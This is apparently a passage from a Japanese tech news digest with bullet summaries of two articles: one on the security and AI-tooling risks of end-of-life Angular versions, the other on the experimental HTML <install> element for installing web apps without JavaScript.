• EOL になった Angular を使っている場合、AI コパイロットには最新 Angular のガードレールがなく、さらに未パッチの CVE も残り続ける、というリスクを指摘しています。
• Angular v20.2 以降では ng mcp による MCP サーバーが使え、AI エージェントが Angular 公式ドキュメントやベストプラクティス、ワークスペース構造にアクセスできると説明されています。
• Angular v21 では Web Codegen Scorer や modernize など、AI 生成コードの品質確認・移行支援の仕組みが強調されています。
• 記事では、v20 より古い Angular ではこれらの AI 向けガードレールを使えず、古い NgModules、Zone.js 前提、RxJS-heavy なパターンを AI が持ち込みやすい、という懸念が述べられています。
• Angular v4〜v18 は 2026年5月時点で EOL、Angular v19 は 2026年5月19日に EOL とされ、古いバージョンはコミュニティセキュリティパッチを受け取れないと説明されています。
• 対策として、可能なら v20 以上、できれば v21 以降へアップグレードし、難しい場合は HeroDevs の NES for Angular のような延長サポートを検討する、という流れです。
• 実務的には、Angular のアップグレード判断を「新機能が欲しいから」ではなく、「AI 支援開発時代の安全な開発基盤を維持するため」と位置づけ直す記事です。
• ただし HeroDevs 提供の記事なので、NES for Angular への誘導という商業的文脈は少し意識して読んだ方がよいです。

HTML

coliss.com

• HTML の新要素 <install> を紹介する記事です。
• <install> は、Web アプリのインストールボタンを JavaScript なしで設置できるようにするための新しい HTML 要素です。
• 従来の PWA / Web アプリインストールでは、beforeinstallprompt イベントなどを使って JavaScript でインストールフローを制御する必要がありました。
• <install></install> をページに置くだけで、ブラウザが標準化されたラベル・アイコン・外観のインストールボタンを表示し、クリック時に通常のインストール手順を開始します。
• 現在のページ自身をインストールする場合は、Web App Manifest に id が定義されていれば、基本的には <install></install> だけでよいと説明されています。
• 別オリジンの Web アプリをインストールさせたい場合は、installurl 属性を使って対象 URL を指定できます。
• manifest の id がない場合は、manifestid 属性で計算済みの manifest id を指定する方法も紹介されています。
• <install> をサポートしていないブラウザ向けには、要素内に fallback HTML を書けます。たとえば <a href="...">Launch Awesome App</a> のような代替リンクを入れておく形です。
• インストール成功、キャンセル、検証エラーなどは promptaction、promptdismiss、validationstatuschanged イベントで検知できます。
• 2026年5月20日時点の記事では、安定版サポートはまだ先で、Chrome / Edge 148+ でフラグを有効にすると試せる段階とされています。
• 実務的には、PWA のインストール導線を自前 JavaScript で作り込む負担を減らし、ブラウザ標準の信頼できる UI に寄せる方向の提案です。
• まだ実験段階なので、すぐ本番前提で使うというより、PWA / Web App Manifest 周辺の今後の標準化動向として追う価値が高い記事です。